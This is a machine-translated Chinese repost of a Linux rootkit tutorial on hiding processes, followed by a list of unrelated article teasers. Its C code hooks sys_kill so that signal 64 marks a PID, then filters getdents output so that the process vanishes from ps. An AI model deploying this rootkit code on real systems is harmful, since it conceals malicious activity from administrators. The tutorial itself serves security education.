7隐藏进程_Linux_Rootkit.md

Xcellerator

密码学Linux其他逆向工程

文章目录

  • [Linux Rootkit 第 7 部分:隐藏进程](https://xcellerator.github.io/posts/linux_rootkits_07/)
  • 选择要隐藏的 PID
  • 隐藏 PID

Linux Rootkit 第 7 部分:隐藏进程

2020-10-01 :: TheXcellerator

# linux # rootkit #隐身 #进程

现在我们知道了如何隐藏目录(参见上次),我们还可以隐藏进程!这是因为几乎所有为我们提供进程信息的用户空间工具都只是读取文件系统的内容/proc/strace -e openat ps我们可以通过查看or的输出来检查这一点strace -e openat top。因此,如果我们隐藏带有我们想要保密的 PID 名称的目录,那么这些用户空间工具将不会注意到该进程的存在!

有一点需要注意的是,我们将隐藏所有具有我们要隐藏的 PID 名称的文件或目录。这种情况被发现的可能性相当低。

选择要隐藏的 PID

PID 非常难以预测,因此我们不想将其硬编码到我们的 Rootkit 中。因此,我们需要想出一种方法来告诉我们的模块我们想要隐藏哪个 PID。最简单的方法就是再次挂钩,sys_kill()因为它已经构建为向内核发送 PID!我们可以再次实现自定义信号处理程序(如第 3 部分和第 5 部分)。唯一的区别是我们会将传递给信号的 PID64写入全局hide_pid变量,而不是仅仅忽略它。

的钩子sys_kill()应该看起来像这样(一如既往,我只是说明使用更现代的调用方法的钩子- 更多信息可以在第 2 部分pt_regs中找到):

/*
 * hide_pid will store the string representation of the PID we're hiding
 */
char hide_pid[NAME_MAX];

/*
 * Declaration for the real sys_kill() function
 */
static asmlinkage long (*orig_kill)(const struct pt_regs *);

/*
 * The syscall hook
 */
asmlinkage int hook_kill(const struct pt_regs *regs)
{
    /*
     * Pull out the arguments we need from the pt_regs struct
     */
    pid_t pid = regs->di;
    int sig = regs->si;

    /*
     * If the signal is 64, then print a message to the kernel buffer and
     * write the PID as a string to hide_pid
     */
    if (sig == 64)
    {
        printk(KERN_INFO "rootkit: hiding process with pid %d\n", pid);
        sprintf(hide_pid, "%d%", pid);
        return 0;
    }

    /*
     * Otherwise, just return the real sys_kill
     */
    return orig_kill(regs);
}

复制

隐藏 PID

现在我们可以告诉 rootkit 我们想要隐藏哪个 PID,我们必须真正隐藏它!sys_getdents()我们这样做的方法是从第 6 部分获取钩子,并将与 进行比较sys_getdents64()的行替换为与它进行比较的行- 请参阅新的第 72 行:current_dir->d_name``PREFIX``hide_pid``rootkit.c

if ( (memcmp(hide_pid, current_dir->d_name, strlen(hide_pid)) == 0)
        && (strncmp(hide_pid, "", NAME_MAX) != 0) )
{
    /* Hide the directory with name in hide_pid */
}

复制

请注意,我们还必须确保它hide_pid不为空!如果我们不这样做,那么该模块将通过隐藏系统上的每个目录来启动。这是因为strlen(hide_pid)will 是0,所以对 的调用memcmp()将始终返回 true 。

这几乎就是全部内容了!一旦我们将内核模块的其余部分(Ftrace 等)放在一起,我们就可以构建它并尝试它。完整的源代码(包含头文件和 Makefile)位于repo上。

我们来尝试一下吧!

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

成功!PID43218从 - 的输出中隐藏起来ps,我们甚至不必那么努力!这似乎是一个简单的技术,但这只是因为我们重新利用了我们已经介绍过的两个不同的系统调用挂钩:sys_kill()在第 3 部分和sys_getdents()/sys_getdents64()在第 6 部分。

唯一的缺点是我们一次只能隐藏一个 PID。对多个 PID 的支持留待您尝试。但请注意,这并不像听起来那么简单!

希望您喜欢这个 - 它比平常短一点,但这只是因为这里没有太多新内容,只是我们已经介绍过的技术的巧妙组合。

直到下一次…

阅读其他帖子


←Linux Rootkit 第 8 部分:隐藏开放端口使用内核模块逃逸特权容器→

哈维菲利普斯 2020 - 伦敦, 英国:: panr制作的主题

该网站是闹鬼网络的一部分

panr](https://twitter.com/panr)制作的主题

该网站是闹鬼网络的一部分

<<< 随机 >>>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/370025.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Docker基础与持续集成

docker 基础知识&#xff1a; docker与虚拟机 !左边为虚拟机&#xff0c;右边为docker环境 – Server :物理机服务器Host OS &#xff1a;构建的操作系统Hypervisor &#xff1a;一种虚拟机软件&#xff0c;装了之后才能虚拟化操作系统Guest OS &#xff1a;虚拟化的操作系统…

xlsx xlsx-style 使用和坑记录

1 安装之后报错 npm install xlsx --savenpm install xlsx-style --save Umi运行会报错 自己代码 import XLSX from "xlsx"; import XLSXStyle from "xlsx-style";const data [["demo1","demo2","demo3","demo4&quo…

cesium-水平测距

cesium测量两点间的距离 <template><div id"cesiumContainer" style"height: 100vh;"></div><div id"toolbar" style"position: fixed;top:20px;left:220px;"><el-breadcrumb><el-breadcrumb-item&…

『运维备忘录』之 Cron 命令详解

运维人员不仅要熟悉操作系统、服务器、网络等只是&#xff0c;甚至对于开发相关的也要有所了解。很多运维工作者可能一时半会记不住那么多命令、代码、方法、原理或者用法等等。这里我将结合自身工作&#xff0c;持续给大家更新运维工作所需要接触到的知识点&#xff0c;希望大…

Logback学习

logback 1、logback介绍 Logback是由log4j创始人设计的另一个开源日志组件&#xff0c;性能比log4j要好。 lockback优点&#xff1a; 内核重写、测试充分、初始化内存加载更小&#xff0c;这一切让logback性能和log4j相比有诸多倍的提升。logback非常自然地直接实现了slf4j…

CSS的元素显示模式

一&#xff0c;什么是元素显示模式 元素显示模式是指元素以什么方式显示&#xff0c; 作用&#xff1a;了解不同类型的标签可以更好的布局网页。 HTML元素一般分为块元素和行内元素。 1.1块元素 常见的块元素有&#xff1a;<p><ul><ol><li>,<di…

OJ_成绩排序2

题干 c实现 #define _CRT_SECURE_NO_WARNINGS #include<stdio.h> #include<vector> #include<algorithm> using namespace std;struct student {char name[16];int score;int seq; };bool comparefromhightolow(student a, student b) {if (a.score > b.…

4通过干扰 Char 设备为 PRNG 添加后门_Linux_Rootkit.md

Xcellerator 密码学Linux其他逆向工程 文章目录 [Linux Rootkit 第 4 部分&#xff1a;通过干扰 Char 设备为 PRNG 添加后门](https://xcellerator.github.io/posts/linux_rootkits_04/)Linux 中的字符设备字符设备的读取例程编写 Rootkit我们能去哪里呢&#xff1f; Linux Ro…

c#string方法对比

字符串的截取匹配操作在开发中非常常见&#xff0c;比如下面这个示例&#xff1a;我要匹配查找出来字符串数组中以“abc”开头的字符串并打印&#xff0c;我下面分别用了两种方式实现&#xff0c;代码如下&#xff1a; using System; namespace ConsoleApp23{ class Progra…

iOS应用提交上架的最新流程

摘要 本篇博客介绍了iOS应用程序上架的最新流程。包括上架基本需求资料、证书的创建和使用、测试设备的添加、描述文件的创建、打包、审核等步骤。 引言 在开发完iOS应用程序后&#xff0c;我们需要将其提交到App Store上架。然而&#xff0c;随着技术的不断发展&#xff0c;…

【数据结构】实现顺序表

大家好&#xff0c;我是苏貝&#xff0c;本篇博客带大家了解顺序表&#xff0c;如果你觉得我写的还不错的话&#xff0c;可以给我一个赞&#x1f44d;吗&#xff0c;感谢❤️ 目录 一.概念及结构二.接口实现2.1 创建顺序表结构体2.2 初始化顺序表2.3 销毁顺序表2.4 打印顺序表…

力扣面试150 只出现一次的数字Ⅱ 哈希 统计数位 DFA有穷自动机

Problem: 137. 只出现一次的数字 II 文章目录 思路&#x1f496; 哈希&#x1f496; 位数统计&#x1f496; DFA 状态机 思路 &#x1f468;‍&#x1f3eb; 参考 &#x1f496; 哈希 ⏰ 时间复杂度: O ( n ) O(n) O(n) &#x1f30e; 空间复杂度: O ( n ) O(n) O(n) cl…

从领域外到领域内:LLM在Text-to-SQL任务中的演进之路

导语 本文介绍了ODIS框架&#xff0c;这是一种新颖的Text-to-SQL方法&#xff0c;它结合了领域外示例和合成生成的领域内示例&#xff0c;以提升大型语言模型在In-context Learning中的性能。 标题&#xff1a;Selective Demonstrations for Cross-domain Text-to-SQL会议&am…

深度学习系列57: 清华大模型MiniCPM上手

MiniCPM 是面壁智能与清华大学自然语言处理实验室共同开源的系列端侧大模型&#xff0c;主体语言模型 MiniCPM-2B 仅有 24亿&#xff08;2.4B&#xff09;的非词嵌入参数量 1. 上手对比测试 mps比cpu大概快了9倍左右。 也可以在modelspore上测试&#xff1a;

XUbuntu22.04之如何创建、切换多个工作区(二百零九)

简介&#xff1a; CSDN博客专家&#xff0c;专注Android/Linux系统&#xff0c;分享多mic语音方案、音视频、编解码等技术&#xff0c;与大家一起成长&#xff01; 优质专栏&#xff1a;Audio工程师进阶系列【原创干货持续更新中……】&#x1f680; 优质专栏&#xff1a;多媒…

《最新出炉》系列初窥篇-Python+Playwright自动化测试-13-playwright操作iframe-下篇

1.简介 通过前边两篇的学习&#xff0c;想必大家已经对iframe有了一定的认识和了解&#xff0c;今天这一篇主要是对iframe做一个总结&#xff0c;主要从iframe的操作&#xff08;输入框、点击等等&#xff09;和定位两个方面进行总结。 2.iframe是什么&#xff1f; iframe 简…

【Simulink系列】——动态系统仿真 之 离散系统线性离散系统

一、离散系统定义 离散系统是指系统的输入与输出仅在离散的时间上取值&#xff0c;而且离散的时间具有相同的时间间隔。满足下列条件&#xff1a; ①系统&#xff08;的输入输出&#xff09;每隔固定时间间隔才更新一次。固定时间间隔称为采样时间。 ②系统的输出依赖当前的…

python+flask人口普查数据的应用研究及实现django

作为一款人口普查数据的应用研究及实现&#xff0c;面向的是大多数学者&#xff0c;软件的界面设计简洁清晰&#xff0c;用户可轻松掌握使用技巧。在调查之后&#xff0c;获得用户以下需求&#xff1a; &#xff08;1&#xff09;用户注册登录后&#xff0c;可进入系统解锁更多…

C语言第十八弹---指针(二)

✨个人主页&#xff1a; 熬夜学编程的小林 &#x1f497;系列专栏&#xff1a; 【C语言详解】 【数据结构详解】 指针 1、const修饰指针 1.1、const修饰变量 1.2、const修饰指针变量 2、指针运算 2.1、指针- 整数 2.2、指针-指针 2.3、指针的关系运算 3、野指针 3.1、…

【数据结构】----先来聊聊【排序】(先导片)

作为一名对技术充满热情的学习者&#xff0c;我一直以来都深刻地体会到知识的广度和深度。在这个不断演变的数字时代&#xff0c;我远非专家&#xff0c;而是一位不断追求进步的旅行者。通过这篇博客&#xff0c;我想分享我在某个领域的学习经验&#xff0c;与大家共同探讨、共…